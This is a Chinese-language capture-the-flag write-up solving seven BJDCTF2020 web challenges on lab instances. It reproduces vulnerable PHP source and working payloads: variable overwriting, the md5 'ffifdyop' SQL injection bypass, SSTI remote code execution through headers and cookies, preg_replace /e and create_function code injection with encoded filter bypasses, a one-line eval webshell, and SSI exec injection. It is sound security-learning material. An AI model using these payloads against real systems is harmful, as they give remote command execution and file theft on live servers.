BJDCTF2020

buu

[BJDCTF2020]Mark loves cat

进去之后是一个网页,怀疑是git泄露,因为挺多这样拿源码的而且题目是个cat

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python GitHack.py http://a2ea6e9a-3c74-4806-be7c-911267a2c810.node5.buuoj.cn:81/.git

flag.php是一个普通的开文件的没啥用,源码如下

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<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}



echo "the flag is: ".$flag;

一个变量覆盖吧,exit(flag)就可以得到flag

但是深究其特性,我们还是起环境来实验吧

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<?php
foreach($_POST as $x => $y){
    $$x = $y;
}
var_dump($$x);
?>
//POST :age=15&passwd=20&w=10
//string(2) "10"
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foreach($_GET as $x => $y){
    $$x = $$y;
}
//GET:x=y   一个嵌套的赋值
//$x=$y 
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if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
//这个可以赋值绕过

欧克那么上payload

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?handsome=flag&flag=a&a=flag

?yds=flag

?is=flag&flag=flag

[BJDCTF2020]Easy MD5

抓包发现hint

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hint: select * from 'admin' where password=md5($pass,true)

实验发现

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select * from 'admin' where password=''or'1abcdefg'    --->  True
select * from 'admin' where password=''or'0abcdefg'    --->  False
select * from 'admin' where password=''or'1'           --->  True
select * from 'admin' where password=''or'2'           --->  True
select * from 'admin' where password=''or'0'           --->  False

那么这里有个很经典的姿势就是ffifdyop绕过

这里也引入一个爆破脚本

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<?php 
for ($i = 0;;) {
 for ($c = 0; $c < 1000000; $c++, $i++)
  if (stripos(md5($i, true), '\'or\'') !== false)
   echo "\nmd5($i) = " . md5($i, true) . "\n";
 echo ".";
}

绕过这层之后进入下一层

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<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.
-->
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?a[]=1&b[]=2
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<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

到这里我直接传参竟然过不去了,后来发现是url的问题

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http://55379fcc-71e8-4ff1-9e37-ec8c41bfbd3e.node5.buuoj.cn:81/levell14.php
POST:
param1[]=1&param2[]=2

[BJDCTF2020]The mystery of ip

进来之后发现IP可控

然后就慢慢试就可以了,最后发现是ssti

尝试了一下jinja的RCE,发现把.过滤了

然后就直接执行了,没想到成功了,但是有点不适应的是,当前目录有个假flag

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X-Forwarded-For:{{system("ls /")}}

X-Forwarded-For:{{system("nl /f*")}}

[BJDCTF2020]ZJCTF，不过如此

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<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

如果用php://input协议的话确实是需要bp发包了

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POST /?text=php://input&file=php://filter/convert.base64-encode/resource=next.php HTTP/1.1
Host: 9e7f59cc-c72f-4520-8e03-fe9eb68fad3e.node5.buuoj.cn:81
Content-Length: 14
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://9e7f59cc-c72f-4520-8e03-fe9eb68fad3e.node5.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://9e7f59cc-c72f-4520-8e03-fe9eb68fad3e.node5.buuoj.cn:81/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

I have a dream

但是如果用data://协议的话

直接传这个就可以了

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?text=data:text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/convert.base64-encode/resource=next.php

next.php

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<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

这里是有一个洞的,正则替换函数原型

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mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
漏洞条件:
/e修正符修饰下，preg_replace中的第二个参数将当作php代码执行。

实验一下,直接借用师傅的代码了哦

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<?php
if (isset($_GET['t'])) {
    echo preg_replace('/test/', $_GET['t'], 'Just test');
}

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<?php
if (isset($_GET['t'])) {
    echo preg_replace('/test/e', $_GET['t'], 'Just test');
}

这个版本比较低,所以我就没浮现了,本题是PHP5.6.40

那么回到题目

strtolower函数可以将大写转小写

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'strtolower("\\1")',结果是，任何匹配正则表达式的捕获组内容都会被转换为小写。

那么我们绕过

正则中的参数我们就得填写为.*或者\S+

  1. .匹配除换行符之外的任意字符；
  2. \S匹配任何非空白字符。等价于 [^ \f\n\r\t\v]；
  3. +匹配一次或多次,即{1,}。

但是GET方式传的字符串,php里会把参数名里的特殊字符转为下划线_

那么.会被替换成_

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http://9e7f59cc-c72f-4520-8e03-fe9eb68fad3e.node5.buuoj.cn:81/next.php?\S*=${getFlag()}&cmd=echo `tac /f*`;

http://9e7f59cc-c72f-4520-8e03-fe9eb68fad3e.node5.buuoj.cn:81/next.php?\S%2b=${getFlag()}&cmd=echo `tac /f*`;

这里有部分绕过,所以我们可以写🐎,但是不带引号即可

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http://9e7f59cc-c72f-4520-8e03-fe9eb68fad3e.node5.buuoj.cn:81/next.php?\S%2b=${eval($_POST[a])}

POST:
a=echo `ls /`;

[BJDCTF2020]EzPHP

终于不是phar反序列化了

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<html>
<!-- Here is the real page =w= -->
<!-- GFXEIM3YFZYGQ4A= -->

base32/1nD3x.php

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<?php
highlight_file(__FILE__);
error_reporting(0); 

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} ?>

还是挺长的

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if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

if($_SERVER)不对payload进行url编码但是普通的传参会,所以直接编码即可绕过

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if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

第二层换行符(%0a)就可以绕过了

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if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
}

第三层$_REQUEST特性:变量post值会优先于get,所以post一个数字就绕过了

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if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

这个用data协议绕过即可

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data://text/plain,debu_debu_aqua
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if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

这一层数组绕过就行了,很常见

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if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} ?>

最后一层create_function()代码注入

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http://bf3b327c-71aa-4d54-8368-fac17158dfbb.node5.buuoj.cn:81/1nD3x.php?file=data://text/plain,debu_debu_aque&debu=aque_is_cute%0a&shana[]=1&passwd[]=2

debu=1&file=1

实际传参还是要编码的,但是非常傻逼的就是,必须把file放在前面,md不知道怎么检测的

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?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2

debu=1&file=1

extract($_GET["flag"]);我们进行覆盖code和ag

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flag[code]=create_function&flag[arg]=;}phpinfo();//
当然也要编码

get_defined_vars ()返回一个关联数组，其中包含当前作用域内所有已定义的变量及其值。既然包含了flag.php,那我们就看看

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flag[code]=create_function&flag[arg]=;}var_dump(get_defined_vars());//

?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=;}%76%61%72%5f%64%75%6d%70(%67%65%74%5f%64%65%66%69%6e%65%64%5f%76%61%72%73());//
POST:debu=1&file=1

找到rea1fl4g.php

因为禁用的符号挺多的,这里我们使用require和filter协议来读取文件

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require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php)
取反

?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=;}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f));//

POST:
debu=1&file=1

真恶心啊,特别是编码哪一块,浪费很多时间

[BJDCTF2020]EasySearch

目录扫描到index.php.swp

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<?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

爆破

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import hashlib

for i in range(1,10000000000000):
    m=hashlib.md5(str(i).encode()).hexdigest()
    if m[0:6]=='6d0bc1':
        print(i)
        break

之后,输入没回显,于是抓包

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Response:

HTTP/1.1 200 OK
Server: openresty
Date: Mon, 12 Aug 2024 07:31:59 GMT
Content-Type: text/html;charset=utf-8
Content-Length: 568
Connection: close
X-Powered-By: PHP/7.1.27
Url_Is_Here: public/99f40cea251233eb066306b560786af165289a0d.shtml
Vary: Accept-Encoding
Cache-Control: no-cache

<!DOCTYPE html>
    <html>
    <head>
    <meta charset="utf-8">
    <title>Login</title>
    <meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
    <meta name="viewport" content="width=device-width">
    <link href="public/css/base.css" rel="stylesheet" type="text/css">
    <link href="public/css/login.css" rel="stylesheet" type="text/css">
    </head>
    <body><script>alert('[+] Welcome to manage system')</script>[!] Header  error ...            <div id="tip"></div>
    <div class="foot">
    bjd.cn
    </div>
    </form>
</div></body>
</html>

进入界面之后发现IP不可控,只能看看username

后面观察是shtml上网查了一下名为SSI注入

SSI

  • Web服务器为Apache和IIS（支持SSI功能的服务器）
  • 服务器有上传或者用户输入页面且未对相关SSI关键字做过滤
  • Web应用程序在返回响应的HTML页面时，嵌入用户输入
  • 未对输入的参数值进行输入过滤
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<!--#exec cmd="id"> -->
是可以执行命令的

也就是说我们在网页生成以后的shtml文件中就可以看到命令结果

看包

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Request:

POST /index.php HTTP/1.1
Host: 61d84261-0376-475e-82b8-6957f642df64.node5.buuoj.cn:81
Content-Length: 52
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://61d84261-0376-475e-82b8-6957f642df64.node5.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://61d84261-0376-475e-82b8-6957f642df64.node5.buuoj.cn:81/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

username=<!--#exec cmd="ls ../" -->&password=2020666
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POST /index.php HTTP/1.1
Host: 61d84261-0376-475e-82b8-6957f642df64.node5.buuoj.cn:81
Content-Length: 55
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://61d84261-0376-475e-82b8-6957f642df64.node5.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://61d84261-0376-475e-82b8-6957f642df64.node5.buuoj.cn:81/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

username=<!--#exec cmd="tac ../f*" -->&password=2020666

[BJDCTF2020]Cookie is so stable

查看源码

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<!-- Why not take a closer look at cookies? -->

终于翻了几个网页找到了注入点ssti

php的ssti还是第一次,去网上查了一下,直接套的payload

Twig模块应该是

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request:

POST /flag.php HTTP/1.1
Host: 54976d8d-7256-49ea-b9f5-92dbf98e734e.node5.buuoj.cn:81
Content-Length: 0
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://54976d8d-7256-49ea-b9f5-92dbf98e734e.node5.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://54976d8d-7256-49ea-b9f5-92dbf98e734e.node5.buuoj.cn:81/flag.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=15294df4dceeffc6c03a4f227f7f3392;user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("tac /f*")}}
Connection: close

但是为什么不能读取目录呢

本来想着读取目录的,但是过滤的确实多,弄了好一会二都没出